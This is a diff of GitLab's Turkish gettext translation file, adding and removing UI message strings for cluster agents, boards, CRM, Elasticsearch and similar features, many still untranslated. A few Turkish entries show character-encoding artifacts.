-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr "Herhangi bir etiket"
@@ -3987,9 +4042,6 @@ msgstr "Herhangi bir dönüm noktası"
msgid "Any namespace"
msgstr "Herhangi isim alanı"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "Uygulama KimliÄŸi"
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr "Bu %{typeOfComment} silmek istediÄŸinizden emin misiniz?"
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Bu cihazı silmek istediğinizden emin misiniz? Bu işlem geri alınamaz."
@@ -4669,6 +4730,9 @@ msgstr "Ata"
msgid "Assign to commenting user"
msgstr "Yorum yapan kullanıcıya ata"
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "Kendinizi bu soruna atayın"
@@ -4766,6 +4830,9 @@ msgstr "Dosya ekleme başarısız oldu."
msgid "Audit Events"
msgstr "Denetim Etkinlikleri"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr "(kaldırıldı)"
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr "Bir proje seç"
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr "GeniÅŸlet"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr "Kapsamı görüntüle"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "Geridönüş bağlantısı"
@@ -6365,7 +6465,7 @@ msgid "Card holder name"
msgstr ""
msgid "Card number:"
-msgstr ""
+msgstr "Kart numarası:"
msgid "CascadingSettings|Enforce for all subgroups"
msgstr ""
@@ -6463,12 +6563,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr "Atanmamış"
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Dikkatli seç"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6517,9 +6617,6 @@ msgstr "DeÄŸiÅŸiklikler"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr "Değişiklikler hala izleniyor. Küme/dizin taşımaları için kullanışlıdır."
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr "%{selectedPlanText} planı"
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} - %{endDate}"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr "Bir dosya seç"
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr "Ä°stemciler"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Klonla"
@@ -7217,6 +7317,9 @@ msgstr "Kapat"
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "%{tabname} sekmesini kapat"
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "%{quick_action_target} bunu kapatır."
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr "Küme"
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr "Küme ismi gerekli."
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr "Projeler getiriliyor"
msgid "ClusterIntegration|Fetching zones"
msgstr "Alanlar getiriliyor"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab Bütünleşmesi"
@@ -7751,12 +7911,6 @@ msgstr "Örnek küme"
msgid "ClusterIntegration|Instance type"
msgstr "Örnek türü"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr "Kubernetes kümesi adı"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr "Kubernetes kümesi başarıyla oluşturuldu."
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Kubernetes kümeleri; uygulamaları gözden geçirme özelliğini kullanmanıza, uygulamalarınızı yayınlamanıza, iş hattınızı çalıştırmanıza ve çok daha fazlasına kolay bir şekilde izin verir."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr "Kubernetes sürümü"
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr "Kod"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr "Kod sahipleri"
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Yeni Dizin OluÅŸtur"
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr "Gereksinim oluÅŸtur"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr "Etiket"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "kiÅŸisel eriÅŸim belirteci oluÅŸtur"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Cron Zaman Dilimi"
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "Kontrol paneli"
@@ -11026,6 +11225,9 @@ msgstr "Yorumu sil"
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr "Yorumu sil"
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr "Kullanıcı listesini sil"
msgid "Delete variable"
msgstr "DeÄŸiÅŸkeni sil"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr "Siliniyor"
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr "Dizin adı"
msgid "Disable"
msgstr "EtkisizleÅŸtir"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr "Uygulamayı düzenle"
msgid "Edit comment"
msgstr "Yorumu düzenle"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "Açıklamayı düzenle"
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr "E-posta Bildirimi"
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr "Bakım modunu etkinleştir"
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr "Kaldır"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr "Bunu nasıl çözebilirim?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr "Öge sıralanırken bir şeyler ters gitti."
msgid "Epics|Something went wrong while removing issue from epic."
msgstr "Epikten sorun kaldırılırken bir şeyler ters gitti."
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr "Birleştirme işlemleri hariçtir. %{limit} işlem ile sınırlıdır."
@@ -13979,6 +14214,12 @@ msgstr "Projeleri keÅŸfedin"
msgid "Explore public groups"
msgstr "Genel grupları keşfedin"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr "Dışa aktar"
@@ -14054,6 +14295,12 @@ msgstr "Sınıflandırma etiketi"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "Dönüm noktası adına göre filtrele"
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "Düzeltilme zamanı"
-
